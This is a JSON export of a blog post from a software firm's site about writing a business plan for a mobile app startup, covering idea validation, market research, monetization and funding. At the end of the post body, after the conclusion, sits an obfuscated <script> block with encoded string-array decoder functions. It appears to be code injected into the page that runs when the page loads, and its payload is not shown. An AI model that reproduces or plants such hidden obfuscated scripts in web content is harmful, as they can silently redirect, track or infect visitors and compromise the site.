{"id":7974,"date":"2020-09-30T07:34:04","date_gmt":"2020-09-30T02:04:04","guid":{"rendered":"http:\/\/localhost:8888\/TristateWebsite\/blog\/?p=7974"},"modified":"2023-12-29T10:00:32","modified_gmt":"2023-12-29T04:30:32","slug":"how-to-make-a-successful-business-plan-for-your-mobile-app-startup","status":"publish","type":"post","link":"https:\/\/www.tristatetechnology.com\/blog\/how-to-make-a-successful-business-plan-for-your-mobile-app-startup","title":{"rendered":"How to make a successful business plan for your mobile app startup?"},"content":{"rendered":"<figure><img decoding=\"async\" src=\"https:\/\/images.tristatetechnology.com\/blog-images\/uploads\/2020\/09\/Make-a-Successful-Business-Plan-for-Your-Mobile-App-Startup.jpg\" alt=\"Make a Successful Business Plan\" class=\"img-fluid\"><\/figure>\n\n\n<p>\u201cBy failing to prepare, you are preparing to fail\u201d \u2013 Benjamin Franklin<\/p>\n\n\n\n<p>Although Mr. Franklin\u2019s statement above is quite obvious, it is also extremely applicable to a wide range of business situations. This includes planning for the development of a successful mobile app.<\/p>\n\n\n\n<p>That said, if you\u2019re currently staring down the barrel at the various challenges associated with bringing your app idea do life, I can promise you that your preparation starts right here on this page. In fact, in this article, we\u2019ll break down all the steps you need to develop, design, and release a mobile app startup using one highly-effective business plan.<\/p>\n\n\n\n<p>There\u2019s simply no denying that the world is becoming more and more digitized every day. Sometimes it seems like we spend more time staring at screens nowadays than not. In fact, a recent study by <a target=\"_blank\" href=\"\/\/analysis.technavio.com\/mobile-application-market-analysis-research\" rel=\"noopener noreferrer\">Technavio<\/a> predicts that the size of the mobile app market will grow between $164 Billion US by the year 2023.&nbsp;<\/p>\n\n\n\n<p>Of course, we\u2019re all aware that there are plenty of apps to be found on both the Google Play store and the Apple App Store, and that they focus on everything from entertainment and finance to business and lifestyle. However, we rarely see even 5% of what\u2019s out there, as the vast majority of app startups aren\u2019t getting a lick of exposure.<\/p>\n\n\n\n<p>Their making mistakes.<\/p>\n\n\n\n<p>Now, it\u2019s a good idea to remember that while coming up with a great app idea is the foundation for moving forward, it is much more crucial to work on a business plan for a successful mobile app. It will provide much-needed structure to your idea. And while this might feel overwhelming at first, we can help you break the process down into more manageable tasks, including target user base identification, custom acquisition costs, unique value propositions, and more.<\/p>\n\n\n\n<p>Let\u2019s get started.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Start_by_validating_your_app_idea\"><\/span>Start by validating your app idea<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>If you didn\u2019t think you had a good idea for an app, you probably wouldn\u2019t be reading this. After all, your new idea is original, solves a specific problem, and you haven\u2019t seen anything quite like it in the marketplace yet. That said, if the market doesn\u2019t agree with your assessment, you\u2019ll want to hold off on investing a small fortune in developing your app. <\/p>\n\n\n\n<p>To ensure your idea has the best possible chance at success, we suggest you follow the following steps: <\/p>\n\n\n<p>\n<strong class=\"blogLinkPost\">Step 1: you want to know the size of your potential market<\/strong>\n<\/p>\n<p><hp>While it\u2019s great that your app solves a problem for a specific set of users, you won\u2019t see significant results unless that group is big enough to support you. This makes the first step of the process estimating how many people you\u2019ll need to reach to be successful. Of course, this number will vary depending on what sort of app your offering, your marketing strategy, and the price of the app. After all, if you charge $50 a month for your product, you won\u2019t need as large of a market as if you only charged $0.99. <strong><\/strong><\/hp><\/p>\n<p>To figure out how large your target audience is, type a few key search terms into Google. You\u2019ll specifically want to focus on terms that your prospects would commonly use to find a solution to the problem your app solves. For extra credit, you might also consider scouring social media groups or forums that focus on the issues you\u2019re attempting to resolve with your app. <\/p>\n<figure><img decoding=\"async\" src=\"https:\/\/images.tristatetechnology.com\/blog-images\/uploads\/2020\/09\/Potential-Market.png\" alt=\"Potential Market\" class=\"img-fluid\"><\/figure>\n<p><strong class=\"blogLinkPost\">Step 2: listen to your audience<\/strong><\/p>\n<p>In order to create an app that people will use regularly, you need to put yourself in the shoes of your prospective customers. This means asking yourself some important questions. For instance:<\/p>\n<div class=\"blog-desc\">\n<ul>\n<li>What frustrates them about the problems their facing? <\/li>\n<li>What have they already tried in an attempt to solve the problem? <\/li>\n<li>Are there problems directly related to the main one that can also be fixed? <\/li>\n<li>How do they talk about their problems and frustrations? <\/li>\n<li>What would be an ideal solution for them? <\/li>\n<\/ul>\n<\/div>\n<p>The more questions you ask (and attempt to answer), the more likely you\u2019ll be to understand your audience\u2019s motivations and needs. This is a big step, of course, in being able to meet those needs. If you\u2019re curious about how to get started, you might want to consider using questionnaires, surveys, and other info-gathering techniques.<\/p>\n<p><strong class=\"blogLinkPost\">Step 3: seek out data from app stores<\/strong><\/p>\n<p>One of your first stops should be your phone\u2019s app store. When you get there, you\u2019ll want to check out the top apps in your category (both free and paid applications). Though it might take some investment of both time and money, you should download all the related apps you can. Familiarize yourself with them. What do they do best? Where do they fail? After you\u2019ve taken diligent notes, read the reviews to learn why people love (and hate) each one. <\/p>\n<figure><img decoding=\"async\" src=\"https:\/\/images.tristatetechnology.com\/blog-images\/uploads\/2020\/09\/Seek-Out-Data-From-App-Stores.png\" alt=\"Seek Out Data From App Stores\" class=\"img-fluid\"><\/figure>\n<p><strong class=\"blogLinkPost\">Step 4: identify the market gap<\/strong><\/p>\n<p>Some are large, and some are small, but every marketplace has a gap that needs to be filled. This is the point where you need to identify that gap and figure out exactly what problem your app will solve. If you\u2019re going to be successful at all, you need to know where your product will \u201cfit\u201d into the market.<strong><\/strong><\/p>\n<p><strong class=\"blogLinkPost\">Step 5: developa unique value proposition (UVP)<\/strong><\/p>\n<p>If you\u2019re particularly creative, your app might be the first of its kind. However, it\u2019s much more likely that you\u2019ll be entering the marketplace facing at least some competition. Either way, you need to establish the UVP of your application by developing a clear answer to how it will stand out from the others. <\/p>\n<p><strong class=\"blogLinkPost\">Step 6: develop a minimum viable product to test<\/strong><\/p>\n<p>At this point, you should have a thorough understanding of who your audience is and a rough idea of how large it is. If you\u2019re still confident in your app&#8217;s potential, you now need to create a Minimum Variable Product (MVP), which will function as a sort of \u201cprototype\u201d to the final version.&nbsp;<\/p>\n<p>Your MVP should be fully-functional, and you should take the time to build out all of the most important features. Remember, you want to demonstrate that you can solve your target audience&#8217;s primary pain points while avoiding spending too much time and money on development (at least at this juncture).&nbsp;<\/p>\n<p>Once your MVP is ready, you should introduce it to various segments of your market to see how it performs. This will allow you to gather valuable feedback that you can then use to develop the improved, fully-functional final version of the app.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Detail-oriented_target_market_research\"><\/span>Detail-oriented target market research<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Understanding your target market and finding a fit for your product within that market is key to a successful startup in any industry. Ultimately, you need to be sure that you\u2019re solving real user problems. Even if your product isn\u2019t \u201crevolutionary,\u201d you still have to find a home for it in the marketplace. <\/p>\n<p>Here\u2019s how you do it:<\/p>\n<p><strong class=\"blogLinkPost\">Refine and narrow your targeted audience definition<\/strong><\/p>\n<p>The very next thing you need to do is more clearly define your target audience. This will help you immensely with the UX and UI elements of your new app and allow you to ascertain the general preferences of your audience. At the same time, this can directly impact the platform on which you choose to launch your app. For example, if you discover that the majority of your audience favors iOS or Android, it would be a good idea to build and launch on that platform first. <\/p>\n<p><strong class=\"blogLinkPost\">Analyze your audience\u2019s likes and dislikes<\/strong><\/p>\n<p>The more you hone in on what your audience prefers, the more you\u2019ll come to understand what they like and what they dislike. This is crucial for many aspects of the app development process, particularly the design of the user interface. At the same time, this knowledge can help form major aspects of your marketing strategy.<\/p>\n<p><strong class=\"blogLinkPost\">Conceptualize your final concept<\/strong><\/p>\n<p>Once you have a foundation consisting of your initial idea, market analysis, and target market research, you need to take some time and write down your final concept. This will refine the key features of your app as well as your USP. Before you begin the development of your final product, you\u2019ll want to have this outlined as clearly as possible. <\/p>\n<p><strong class=\"blogLinkPost\">Clearly state what goals the app will achieve<\/strong><\/p>\n<p>At this stage, it is crucial that you establish clear goals for your app. These will range from what problem you\u2019re trying to solve to where you\u2019d like to see your startup five years down the road. By establishing these goals up front, you can go into the development process with a detailed vision.<\/p>\n<p><strong class=\"blogLinkPost\">Finalize the app experience<\/strong><\/p>\n<p>Using your market study and final concept as a basis, you can now move on to designing and prototyping your app experience. This is where your final product will start to take shape. The goal here is to visualize exactly what you\u2019re trying to offer your potential customers so that you can then make it a reality. <\/p>\n<p>Using the app validation idea and the data you\u2019ve compiled from your target market research, you should now have an impression of what to expect in terms of both the marketplace and your competition.<\/p>\n<p>Finally, let\u2019s take a look at your marketing plan. <\/p>\n<h2><span class=\"ez-toc-section\" id=\"A_template_for_mobile_app_startup_plan\"><\/span>A template for mobile app startup plan<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Now that you have everything you need down on paper, we can show you how to develop a bullet-proof business plan to maximize the success of your mobile app startup. However, first, you\u2019ll need to do the following:<\/p>\n<div class=\"blog-desc\">\n<ul>\n<li>Set up bullet points describing your vision (for quick reference)<\/li>\n<li>Gather some statistics featuring the real numbers regarding the industry you\u2019re about to enter. <\/li>\n<li>Construct tables featuring well-defined steps and strategies that you\u2019ll need to implement in order to reach your goals. <\/li>\n<\/ul>\n<\/div>\n<p>Looking at this information, do you still feel confident that your product is viable? Do you feel it has the potential to offer new experiences to the user and offer measurable benefits to the founders? These are the two primary questions your business plan should answer. In the following section, we\u2019ll outline some additional components to aid you in developing your plan. <\/p>\n<h2><span class=\"ez-toc-section\" id=\"Section_1_the_executive_summary\"><\/span>Section 1: the executive summary<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>This will serve as the introduction to your business plan and will be the first thing that any potential investor sees. It would be best if you acquainted them with your idea in a clear, effective manner while also answering the following questions:<\/p>\n<p><strong class=\"blogLinkPost\">What problem do you want to solve?<\/strong><\/p>\n<p>The app marketplace is full of all sorts of solutions to problems. However, there will always be new obstacles, challenges, and complications faced by consumers. In your summary, you need to identify these problems and highlight the ones you (and your product) can solve. Be sure to outline your target audience\u2019s current needs, and explain why the existing solutions don\u2019t satisfy them.<\/p>\n<p><strong class=\"blogLinkPost\">What is your solution?<\/strong><\/p>\n<p>Above all, you want to make sure you explain why your product is capable of solving the problems you describe. Be sure to introduce the overall idea, but don\u2019t dive into the details just yet. You\u2019re not trying to introduce the functionality of your app to investors. You\u2019re simply explaining how it can make potential users happy.<\/p>\n<p><strong class=\"blogLinkPost\">How will your app alter the market? <\/strong><\/p>\n<p>Again, in almost all cases, similar solutions to your TA\u2019s problems will already exist. However, you can provide proof that your app is better than other apps at doing so. This is where you want to use statistics, facts, and market forecasting to impact the reader. Don\u2019t use tired cliches; make your answer powerful and provocative.<\/p>\n<p><strong class=\"blogLinkPost\">What goal or goals are you pursuing? <\/strong><\/p>\n<p>Of course, the main goal of any business is to generate a financial return. In this section, however, you want to explain what all of your company\u2019s goals are so that you can provide readers with an accurate vision of your company\u2019s future. Talk about how many users you expect to download your product, explore its profit potential, and be sure to use metrics to enhance your answer.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Section_2_describe_your_company_in_business_terms\"><\/span>Section 2: describe your company in business terms<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>In this section, your goal is to generate an attractive overview of your company in order to increase interest. This will help you get the attention of potential partners, providing you present them with the following: <\/p>\n<p><strong class=\"blogLinkPost\">Basic organizational info<\/strong><\/p>\n<p>Whether your company is an LLC or some other type of entity, you\u2019ll want to ensure potential investors have this information. After all, the way your company is structured will define the way processes are organized in the future. Location, for instance, is very important. If you have a remote team, be sure to mention that while emphasizing the reasons you\u2019ve selected that option.<\/p>\n<p><strong class=\"blogLinkPost\">A little company history<\/strong><\/p>\n<p>Stories resonate with people, which is why it\u2019s important to spend some time outlining your company\u2019s history. You might talk about how you came up with your idea, how you decided on founding your own business, and what you had when you started out. Keep it short, but also catchy enough to get the attention of readers.<\/p>\n<p><strong class=\"blogLinkPost\">Introduce your team<\/strong><\/p>\n<p>Any good app startup business plan should include details about your team, as this info will help you make a more personal connection with your reader. You might include a few words about the specialists you\u2019ve hired, tell potential investors about your managers or programmers, etc. Be specific, and include names, positions, background, and even hobbies when possible. Make your readers feel like they know the people you\u2019ve chosen to surround yourself with. You might also consider adding information about your advisory team, as these are the men and women who help you with your decision making. <\/p>\n<h2><span class=\"ez-toc-section\" id=\"Section_3_outline_your_marketing_strategy\"><\/span>Section 3: outline your marketing strategy<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Any good mobile app business plan should describe how the app will ultimately get to potential users\u2019 smartphones. Below, you\u2019ll find a step-by-step guide on constructing a successful marketing strategy:<\/p>\n<p><strong class=\"blogLinkPost\">Identify the channels through which you\u2019ll acquire customers<\/strong><\/p>\n<p>Currently, social media marketing is considered one of the most effective ways to promote a product. That said, will this method work for your specific app? Refer back to your research and attempt to outline how many potential users you can reach via Facebook, Instagram, and Twitter. Provide readers with information on what channel you feel will be most effective. You should also create a mockup of your app\u2019s landing page and provide partners with info on how you plan to direct customers there.<\/p>\n<p><strong class=\"blogLinkPost\">Decide on metrics<\/strong><\/p>\n<p>In the initial stages, your success will be measured by how many downloads and installations your application has, not by the amount of revenue earned. Decide on what metrics you\u2019ll use to evaluate your project as you move forward. <\/p>\n<p><strong class=\"blogLinkPost\">Consider setting up referral programs<\/strong><\/p>\n<p>Referral programs have the potential to fuel growth in many different ways. For this reason, you might want to decide now which companies you plan to collaborate with and tell your readers how such a partnership can pay off down the line. Of course, don\u2019t forget to optimize your website and mobile application to improve SEO<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Section_4_choose_a_monetization_strategy\"><\/span>Section 4: choose a monetization strategy<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>As we near the end of your app development business plan, it\u2019s time to start talking about finances. Of course, when it comes to mobile applications, you need to pay special attention to the monetization strategy in order to get access to the billions floating around the marketplace. So, how do you plan to turn your efforts into profits?<\/p>\n<p><strong class=\"blogLinkPost\">Advertising<\/strong><\/p>\n<p>One of the most common ways for apps to generate revenue is by including advertising for other products. Not only is this fast, but easy as well. That said, you\u2019ll need to have an impressive number of active users if you want tobenefit from this strategy. <\/p>\n<p><strong class=\"blogLinkPost\">Charge an installation fee<\/strong><\/p>\n<p>Unfortunately, there are so many free apps to be found that many users have come to ignore the paid ones. If you plan on charging for your product, you\u2019ll need to demonstrate some unique and beneficial features.<\/p>\n<p><strong class=\"blogLinkPost\">Add an option for paid accounts<\/strong><\/p>\n<p>Offering a free trial is always an attractive option. Once the trial ends, you could then offer an account upgrade (providing your app demonstrates good performance and reliable functionality). <\/p>\n<\/p>\n<p>Whatever your strategy is, be sure to choose it before you get started on your business plan. After all, potential investors and partners are highly unlikely to support you unless your monetization strategy is clear and well-defined. You\u2019ll also want to prepare yourself to answer questions about how you plan to profit from your app.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Section_5_startup_costs_funding\"><\/span>Section 5: startup costs &amp; funding<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Did you know that one of the <a target=\"_blank\" href=\"\u201c\" https:=\"\" work=\"\" marketing-research=\"\" why-startups-fail-study=\"\" rel=\"noopener noreferrer\">main reasons app startups fail<\/a> is due to financial issues?<\/p>\n<figure><img decoding=\"async\" src=\"https:\/\/images.tristatetechnology.com\/blog-images\/uploads\/2020\/09\/Startup-Costs-Funding.png\" alt=\"Startup Costs &amp; Funding\" class=\"img-fluid\"><\/figure>\n<p>Image Source:<a target=\"_blank\" href=\"https:\/\/www.frac.tl\/work\/marketing-research\/why-startups-fail-study\" rel=\"noopener noreferrer\">Fractl<\/a><\/p>\n<p>In fact, some 24% of companies simply run out of money while another 18% encounter various other types of cost problems. This is why it\u2019s so important (especially at this point) to consider various costs and funding and how they relate to your business. <\/p>\n<div class=\"blog-desc\">\n<ul>\n<li>Because it\u2019s vital to understanding what sort of funding you\u2019ll need to get your app up and running. <\/li>\n<li>All potential partners will want to know how much money you need. <\/li>\n<\/ul>\n<\/div>\n<p>When you set up your startup financial model, keep in mind that it should reflect your forecast for the next 3-5 years. At the same time, you\u2019ll want to make sure you include the following:<\/p>\n<p><strong class=\"blogLinkPost\">Talk about funding<\/strong><\/p>\n<p>It would be best if you had a comprehensive estimate of how much money you need to bring your app to market. However, you&#8217;ll also want to try to anticipate any extraneous cost issues you might face. After all, it&#8217;s always a good idea to have extra cash on hand to overcome challenges.<\/p>\n<p><strong class=\"blogLinkPost\">Specify payment frequency<\/strong><\/p>\n<p>Some costs should only be paid one time, while others (like salaries and maintenance expenses) will repeat at regular intervals. The more detailed your financial plan is, the better it will serve the goals of your business plan.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"In_conclusion\"><\/span>In conclusion<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>We said it once, but it definitely bears repeating: &nbsp;simply having a good idea is not enough to make your app successful. Only a well-crafted, comprehensive business plan can put you on the fast track to effective mobile app development. <\/p>\n<p>To implement such a plan properly, it&#8217;s crucial that you start when your app is still being conceptualized and planned. After all, the development of your app is sure to evolve and change over time. A business plan can be the structure that the project needs to stay grounded and on the right track.<\/p>\n<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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